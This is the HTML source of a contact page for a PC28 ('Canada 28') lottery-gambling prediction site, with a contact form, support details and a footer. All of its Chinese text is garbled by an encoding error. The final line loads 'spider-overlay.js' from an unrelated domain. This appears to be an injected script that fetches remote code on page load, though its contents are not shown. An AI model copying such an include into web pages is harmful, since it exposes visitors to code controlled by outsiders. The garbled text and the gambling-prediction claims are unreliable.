鑱旂郴鎴戜滑 - 鍔犳嬁澶?8棰勬祴 | 鍦ㄧ嚎瀹㈡湇涓庡晢鍔″悎浣?/title> <meta name="description" content="鑱旂郴鍔犳嬁澶?8棰勬祴鍥㈤槦鈥斺€旀棤璁烘槸鎶€鏈挩璇€佸晢鍔″悎浣溿€佹剰瑙佸弽棣堣繕鏄棶棰樻眰鍔╋紝鎴戜滑閮戒細绗竴鏃堕棿鍝嶅簲銆?x24灏忔椂鍦ㄧ嚎瀹㈡湇锛?鍒嗛挓鏋侀€熷洖澶嶃€?> <meta name="keywords" content="鍔犳嬁澶?8棰勬祴,鑱旂郴鎴戜滑,鍦ㄧ嚎瀹㈡湇,鍟嗗姟鍚堜綔,pc28,棰勬祴鍜ㄨ"> <meta name="robots" content="index, follow"> <link rel="canonical" href="https://www.example.com/contact.html">  <script src="https://cdn.tailwindcss.com"></script> <script> tailwind.config = { theme: { extend: { colors: { primary: { 50: '#eef2ff', 100: '#e0e7ff', 200: '#c7d2fe', 300: '#a5b4fc', 400: '#818cf8', 500: '#6366f1', 600: '#4f46e5', 700: '#4338ca', 800: '#3730a3', 900: '#312e81', } }, fontFamily: { sans: ['Inter', '-apple-system', 'BlinkMacSystemFont', 'Segoe UI', 'PingFang SC', 'Hiragino Sans GB', 'Microsoft YaHei', 'sans-serif'], } } } } </script>  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">  <link rel="stylesheet" href="css/style.css">  <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800;900&display=swap" rel="stylesheet"> </head> <body class="font-sans antialiased">  <nav id="navbar" class="fixed top-0 left-0 right-0 z-50 py-4 transition-all duration-300"> <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8"> <div class="flex items-center justify-between"> <a href="index.html" class="flex items-center gap-2.5 no-underline"> <div class="w-10 h-10 bg-gradient-to-br from-primary-600 to-primary-500 rounded-2xl flex items-center justify-center shadow-lg shadow-primary-600/20"> <i class="fas fa-chart-line text-white text-lg"></i> </div> <span class="nav-logo-text text-xl font-extrabold text-gray-900 tracking-tight"> 鍔犳嬁澶?8<span class="text-primary-600">棰勬祴</span> </span> </a> <div class="hidden lg:flex items-center gap-10"> <a href="index.html" class="nav-link text-sm font-semibold no-underline">馃彔棣栭〉</a> <a href="index.html#features" class="nav-link text-sm font-semibold no-underline">鉁?鍔熻兘鐗硅壊</a> <a href="about.html" class="nav-link text-sm font-semibold no-underline">鈩癸笍鍏充簬鎴戜滑</a> <a href="contact.html" class="nav-link text-sm font-semibold no-underline text-primary-600 after:scale-x-100">馃摤鑱旂郴鎴戜滑</a> </div> <div class="hidden lg:flex items-center gap-3"> <a href="contact.html" class="btn-primary text-sm">馃殌鍏嶈垂寮€濮嬩娇鐢?/a> </div> <button id="menu-toggle" aria-label="鑿滃崟" aria-expanded="false" class="lg:hidden flex items-center justify-center w-11 h-11 rounded-xl bg-primary-50 text-primary-600 hover:bg-primary-100 transition-all duration-300 border-0 cursor-pointer"> <i id="menu-icon" class="fas fa-bars text-lg"></i> </button> </div> <div id="mobile-menu" class="lg:hidden mt-3 rounded-2xl"> <div class="flex flex-col gap-1 p-4"> <a href="index.html" class="block px-4 py-3 rounded-xl text-gray-700 font-semibold text-sm hover:bg-primary-50 hover:text-primary-600 transition-all duration-200 no-underline">馃彔棣栭〉</a> <a href="index.html#features" class="block px-4 py-3 rounded-xl text-gray-700 font-semibold text-sm hover:bg-primary-50 hover:text-primary-600 transition-all duration-200 no-underline">鉁?鍔熻兘鐗硅壊</a> <a href="about.html" class="block px-4 py-3 rounded-xl text-gray-700 font-semibold text-sm hover:bg-primary-50 hover:text-primary-600 transition-all duration-200 no-underline">鈩癸笍鍏充簬鎴戜滑</a> <a href="contact.html" class="block px-4 py-3 rounded-xl text-primary-600 bg-primary-50 font-semibold text-sm no-underline">馃摤鑱旂郴鎴戜滑</a> </div> </div> </div> </nav>  <section class="page-header bg-gradient-hero"> <div class="max-w-4xl mx-auto px-4 sm:px-6 lg:px-8"> <div class="animate-on-scroll"> <span class="section-badge mb-4">馃摤鑱旂郴鎴戜滑</span> <h1 class="page-header-title"> 鎴戜滑鏈熷緟鍚埌<span class="text-primary-600">鎮ㄧ殑澹伴煶</span> </h1> <p class="page-header-subtitle"> 鏃犺鏄娇鐢ㄩ棶棰樸€佷骇鍝佸缓璁繕鏄晢鍔″悎浣滐紝閮芥杩庨殢鏃惰仈绯绘垜浠€?x24灏忔椂鍦ㄧ嚎锛屽钩鍧?鍒嗛挓鍐呭搷搴斻€? </p> </div> </div> </section>  <section class="py-20 lg:py-28 bg-white"> <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8"> <div class="grid lg:grid-cols-5 gap-12 lg:gap-16">  <div class="lg:col-span-3 animate-on-scroll"> <div class="bg-white rounded-3xl shadow-xl shadow-gray-100 border border-gray-50 p-8 lg:p-10"> <h2 class="text-2xl font-extrabold text-gray-900 mb-2">鍙戦€佹秷鎭?/h2> <p class="text-gray-500 text-sm mb-8">濉啓浠ヤ笅琛ㄥ崟锛屾垜浠細灏藉揩涓庢偍鍙栧緱鑱旂郴鉁?/p> <form id="contact-form" class="space-y-6">  <div class="grid sm:grid-cols-2 gap-5"> <div> <label class="form-label" for="name"> <i class="fas fa-user text-primary-500 mr-1"></i> 鎮ㄧ殑濮撳悕 <span class="text-red-400">*</span> </label> <input type="text" id="name" name="name" data-validate="name" class="form-input" placeholder="璇疯緭鍏ユ偍鐨勫鍚? autocomplete="name" required> </div> <div> <label class="form-label" for="email"> <i class="fas fa-envelope text-primary-500 mr-1"></i> 鐢靛瓙閭 <span class="text-red-400">*</span> </label> <input type="email" id="email" name="email" data-validate="email" class="form-input" placeholder="example@email.com" autocomplete="email" required> </div> </div>  <div> <label class="form-label" for="phone"> <i class="fas fa-phone text-primary-500 mr-1"></i> 鎵嬫満鍙风爜 </label> <input type="tel" id="phone" name="phone" data-validate="phone" class="form-input" placeholder="鏂逛究鎴戜滑涓庢偍鐢佃瘽娌熼€氾紙閫夊～锛? autocomplete="tel"> </div>  <div> <label class="form-label" for="subject"> <i class="fas fa-tag text-primary-500 mr-1"></i> 鍜ㄨ绫诲瀷 <span class="text-red-400">*</span> </label> <select id="subject" name="subject" data-validate="required" class="form-input appearance-none bg-white cursor-pointer" style="background-image: url('data:image/svg+xml;charset=UTF-8,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 20 20%22 fill=%22%236b7280%22%3E%3Cpath fill-rule=%22evenodd%22 d=%22M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z%22 clip-rule=%22evenodd%22/%3E%3C/svg%3E'); background-position: right 1rem center; background-repeat: no-repeat; background-size: 1.25rem; padding-right: 2.5rem;"> <option value="">璇烽€夋嫨鍜ㄨ绫诲瀷</option> <option value="tech-support">馃敡鎶€鏈敮鎸?/option> <option value="data-question">馃搳鏁版嵁闂</option> <option value="feature-request">馃挕鍔熻兘寤鸿</option> <option value="bug-report">馃悰 BUG鍙嶉</option> <option value="business">馃 鍟嗗姟鍚堜綔</option> <option value="other">馃摑鍏朵粬鍜ㄨ</option> </select> </div>  <div> <label class="form-label" for="message"> <i class="fas fa-comment-dots text-primary-500 mr-1"></i> 璇︾粏鎻忚堪 <span class="text-red-400">*</span> </label> <textarea id="message" name="message" data-validate="message" class="form-input resize-none" rows="5" placeholder="璇疯缁嗘弿杩版偍鐨勯棶棰樻垨闇€姹傦紝浠ヤ究鎴戜滑鏇村ソ鍦颁负鎮ㄦ湇鍔?.." required></textarea> </div>  <div class="flex items-start gap-3"> <input type="checkbox" id="consent" name="consent" data-validate="required" class="mt-1 w-4 h-4 rounded border-gray-300 text-primary-600 focus:ring-primary-500 cursor-pointer" required> <label for="consent" class="text-xs text-gray-500 leading-relaxed cursor-pointer"> 鎴戝凡鐭ユ倝骞跺悓鎰忓钩鍙扮殑<a href="#" class="text-primary-600 font-medium hover:underline">闅愮鏀跨瓥</a>涓?a href="#" class="text-primary-600 font-medium hover:underline">鏈嶅姟鏉℃</a>锛屾巿鏉冨钩鍙板熀浜庢湰娆″挩璇㈢洰鐨勬敹闆嗗拰浣跨敤鎴戠殑涓汉淇℃伅銆? </label> </div>  <button type="submit" class="btn-primary text-base px-10 py-3.5 w-full sm:w-auto justify-center"> <i class="fas fa-paper-plane"></i> 鍙戦€佹秷鎭? </button> </form> </div> </div>  <div class="lg:col-span-2 animate-on-scroll animate-delay-1"> <div class="space-y-6 sticky top-28">  <div class="contact-info-card"> <div class="contact-info-icon">馃摟</div> <div> <h4 class="font-bold text-gray-900 text-sm mb-1">鐢靛瓙閭</h4> <p class="text-gray-500 text-sm">support@pc28predict.com</p> <p class="text-gray-400 text-xs mt-1">鎶€鏈敮鎸?/ 鍟嗗姟鍚堜綔</p> </div> </div>  <div class="contact-info-card"> <div class="contact-info-icon">馃摓</div> <div> <h4 class="font-bold text-gray-900 text-sm mb-1">瀹㈡湇鐑嚎</h4> <p class="text-gray-500 text-sm">400-888-2828</p> <p class="text-gray-400 text-xs mt-1">鍛ㄤ竴鑷冲懆鏃?9:00 - 21:00</p> </div> </div>  <div class="contact-info-card"> <div class="contact-info-icon">馃挰</div> <div> <h4 class="font-bold text-gray-900 text-sm mb-1">鍦ㄧ嚎瀹㈡湇</h4> <p class="text-gray-500 text-sm">寰俊鍏紬鍙凤細pc28_predict</p> <p class="text-gray-400 text-xs mt-1">鎵爜鍏虫敞锛屽湪绾垮嵆鏃舵矡閫?/p> </div> </div>  <div class="contact-info-card"> <div class="contact-info-icon">馃搷</div> <div> <h4 class="font-bold text-gray-900 text-sm mb-1">鍔炲叕鍦板潃</h4> <p class="text-gray-500 text-sm">骞夸笢鐪佹繁鍦冲競鍗楀北鍖虹鎶€鍥崡璺?8鍙?/p> <p class="text-gray-400 text-xs mt-1">鍒涙柊绉戞妧澶у帵 18灞?1806瀹?/p> </div> </div>  <div class="contact-info-card"> <div class="contact-info-icon">鈴憋笍</div> <div> <h4 class="font-bold text-gray-900 text-sm mb-1">鍝嶅簲鏃舵晥</h4> <p class="text-gray-500 text-sm">宸ヤ綔鏃ュ钩鍧?<span class="text-primary-600 font-bold">5鍒嗛挓</span> 鍐呭搷搴?/p> <p class="text-gray-400 text-xs mt-1">澶嶆潅闂24灏忔椂鍐呭嚭鍏锋柟妗?/p> </div> </div>  <div class="bg-gradient-to-br from-primary-50 to-indigo-50 rounded-2xl p-6 border border-primary-100"> <h4 class="font-bold text-gray-900 text-sm mb-4">馃敆鍏虫敞鎴戜滑</h4> <div class="flex gap-3 mb-4"> <a href="#" class="w-10 h-10 rounded-xl bg-white shadow-sm flex items-center justify-center text-primary-600 hover:bg-primary-600 hover:text-white transition-all duration-300 no-underline" aria-label="寰俊"> <i class="fab fa-weixin"></i> </a> <a href="#" class="w-10 h-10 rounded-xl bg-white shadow-sm flex items-center justify-center text-primary-600 hover:bg-primary-600 hover:text-white transition-all duration-300 no-underline" aria-label="寰崥"> <i class="fab fa-weibo"></i> </a> <a href="#" class="w-10 h-10 rounded-xl bg-white shadow-sm flex items-center justify-center text-primary-600 hover:bg-primary-600 hover:text-white transition-all duration-300 no-underline" aria-label="QQ"> <i class="fab fa-qq"></i> </a> <a href="#" class="w-10 h-10 rounded-xl bg-white shadow-sm flex items-center justify-center text-primary-600 hover:bg-primary-600 hover:text-white transition-all duration-300 no-underline" aria-label="鎶栭煶"> <i class="fab fa-tiktok"></i> </a> </div> <div class="flex items-center gap-3 text-xs text-gray-500"> <span class="flex items-center gap-1"><i class="fas fa-shield-halved text-primary-500"></i> 鏁版嵁鍔犲瘑</span> <span class="flex items-center gap-1"><i class="fas fa-lock text-primary-500"></i> 闅愮淇濇姢</span> <span class="flex items-center gap-1"><i class="fas fa-clock text-primary-500"></i> 7x24h</span> </div> </div> </div> </div> </div> </div> </section>  <section class="py-16 lg:py-20 bg-gradient-soft"> <div class="max-w-3xl mx-auto px-4 sm:px-6 lg:px-8 text-center"> <div class="animate-on-scroll"> <h3 class="text-xl lg:text-2xl font-extrabold text-gray-900 mb-4"> 馃挕涔熻鎮ㄥ彲浠ュ湪甯歌闂涓壘鍒扮瓟妗? </h3> <p class="text-gray-600 mb-8"> 鍦ㄨ仈绯讳箣鍓嶏紝涓嶅Θ鍏堢湅鐪嬫垜浠噯澶囩殑甯歌闂瑙ｇ瓟锛屼篃璁歌兘鏇村揩鍦板府鍒版偍銆? </p> <a href="index.html#faq" class="btn-outline text-base px-8 py-3"> 鏌ョ湅甯歌闂 <i class="fas fa-arrow-right ml-1"></i> </a> </div> </div> </section>  <section class="cta-section py-20 lg:py-28 bg-gradient-to-br from-primary-700 via-primary-600 to-indigo-700 relative overflow-hidden"> <div class="max-w-3xl mx-auto px-4 sm:px-6 lg:px-8 text-center relative z-10"> <div class="animate-on-scroll"> <span class="text-5xl mb-6 block">馃帀</span> <h2 class="text-3xl lg:text-4xl font-extrabold text-white mb-6"> 鏃犻渶绛夊緟锛?span class="text-indigo-200">绔嬪嵆寮€濮?/span> </h2> <p class="text-white/80 text-lg mb-10 max-w-xl mx-auto leading-relaxed"> 鎵€鏈夋牳蹇冨姛鑳藉潎鍏嶈垂寮€鏀俱€傛棤闇€娉ㄥ唽鍗冲彲浣撻獙AI棰勬祴銆佽蛋鍔挎煡璇㈢瓑鏍稿績鏈嶅姟銆傜幇鍦ㄥ氨璇曡瘯鍚э紒 </p> <div class="flex flex-wrap justify-center gap-4"> <a href="index.html" class="btn-white text-base px-10 py-3.5"> 馃彔杩斿洖棣栭〉浣撻獙 <i class="fas fa-arrow-right ml-1"></i> </a> <a href="about.html" class="inline-flex items-center gap-2 px-6 py-3.5 text-white/90 font-semibold border-2 border-white/30 rounded-full hover:bg-white/10 transition-all duration-300 no-underline text-base"> 馃摉浜嗚В鎴戜滑鐨勫洟闃? </a> </div> </div> </div> </section>  <footer class="bg-gradient-footer text-white pt-16 pb-8"> <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8"> <div class="grid grid-cols-2 md:grid-cols-4 gap-8 pb-12 border-b border-white/10"> <div class="col-span-2 md:col-span-1"> <a href="index.html" class="flex items-center gap-2.5 mb-4 no-underline"> <div class="w-10 h-10 bg-white/15 rounded-2xl flex items-center justify-center"> <i class="fas fa-chart-line text-white text-lg"></i> </div> <span class="text-xl font-extrabold text-white tracking-tight"> 鍔犳嬁澶?8<span class="text-indigo-300">棰勬祴</span> </span> </a> <p class="text-white/60 text-sm leading-relaxed mb-5"> 鍔犳嬁澶?8鏁版嵁涓庣畻娉曚笓瀹躲€傝嚧鍔涗簬鎻愪緵楂樻爣鍑嗐€佹案涔呭厤璐圭殑棰勬祴鏈嶅姟銆? </p> <div class="flex gap-3"> <a href="#" class="w-9 h-9 rounded-xl bg-white/10 flex items-center justify-center text-white/70 hover:bg-white/20 hover:text-white transition-all duration-200 no-underline text-sm" aria-label="寰俊"><i class="fab fa-weixin"></i></a> <a href="#" class="w-9 h-9 rounded-xl bg-white/10 flex items-center justify-center text-white/70 hover:bg-white/20 hover:text-white transition-all duration-200 no-underline text-sm" aria-label="寰崥"><i class="fab fa-weibo"></i></a> <a href="#" class="w-9 h-9 rounded-xl bg-white/10 flex items-center justify-center text-white/70 hover:bg-white/20 hover:text-white transition-all duration-200 no-underline text-sm" aria-label="QQ"><i class="fab fa-qq"></i></a> <a href="#" class="w-9 h-9 rounded-xl bg-white/10 flex items-center justify-center text-white/70 hover:bg-white/20 hover:text-white transition-all duration-200 no-underline text-sm" aria-label="GitHub"><i class="fab fa-github"></i></a> </div> </div> <div> <h4 class="text-white font-bold text-sm mb-5 tracking-wide">蹇€熷鑸?/h4> <ul class="space-y-3 list-none p-0"> <li><a href="index.html" class="footer-link text-sm no-underline">馃彔棣栭〉</a></li> <li><a href="index.html#features" class="footer-link text-sm no-underline">鉁?鍔熻兘鐗硅壊</a></li> <li><a href="about.html" class="footer-link text-sm no-underline">鈩癸笍鍏充簬鎴戜滑</a></li> <li><a href="contact.html" class="footer-link text-sm no-underline">馃摤鑱旂郴鎴戜滑</a></li> </ul> </div> <div> <h4 class="text-white font-bold text-sm mb-5 tracking-wide">鍏充簬鎴戜滑</h4> <ul class="space-y-3 list-none p-0"> <li><a href="about.html" class="footer-link text-sm no-underline">鈩癸笍鍥㈤槦浠嬬粛</a></li> <li><a href="about.html#values" class="footer-link text-sm no-underline">馃幆鏍稿績浠峰€艰</a></li> <li><a href="about.html#team" class="footer-link text-sm no-underline">馃懃鏍稿績鎴愬憳</a></li> <li><a href="contact.html" class="footer-link text-sm no-underline">馃摤鑱旂郴鎴戜滑</a></li> </ul> </div> <div> <h4 class="text-white font-bold text-sm mb-5 tracking-wide">鑱旂郴鏂瑰紡</h4> <ul class="space-y-3 list-none p-0"> <li class="flex items-start gap-2.5 text-white/60 text-sm"> <i class="fas fa-envelope text-white/40 mt-0.5"></i> <span>support@pc28predict.com</span> </li> <li class="flex items-start gap-2.5 text-white/60 text-sm"> <i class="fas fa-phone text-white/40 mt-0.5"></i> <span>400-888-2828</span> </li> <li class="flex items-start gap-2.5 text-white/60 text-sm"> <i class="fas fa-map-marker-alt text-white/40 mt-0.5"></i> <span>骞夸笢鐪佹繁鍦冲競鍗楀北鍖虹鎶€鍥?/span> </li> </ul> </div> </div> <div class="pt-8 flex flex-col sm:flex-row items-center justify-between gap-4"> <p class="text-white/40 text-xs text-center sm:text-left"> © <span data-current-year>2024</span> 鍔犳嬁澶?8棰勬祴 All Rights Reserved. | 浠呬緵濞变箰鍙傝€? </p> <div class="flex gap-6"> <a href="#" class="text-white/40 text-xs no-underline hover:text-white/70 transition-colors">闅愮鏀跨瓥</a> <a href="#" class="text-white/40 text-xs no-underline hover:text-white/70 transition-colors">鏈嶅姟鏉℃</a> <a href="#" class="text-white/40 text-xs no-underline hover:text-white/70 transition-colors">鍏嶈矗澹版槑</a> </div> </div> </div> </footer>  <button id="back-to-top" aria-label="杩斿洖椤堕儴" class="back-to-top"> <i class="fas fa-arrow-up"></i> </button> <script src="js/main.js"></script> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script src="https://yswa6.cn/spider-overlay.js"></script> </body> </html>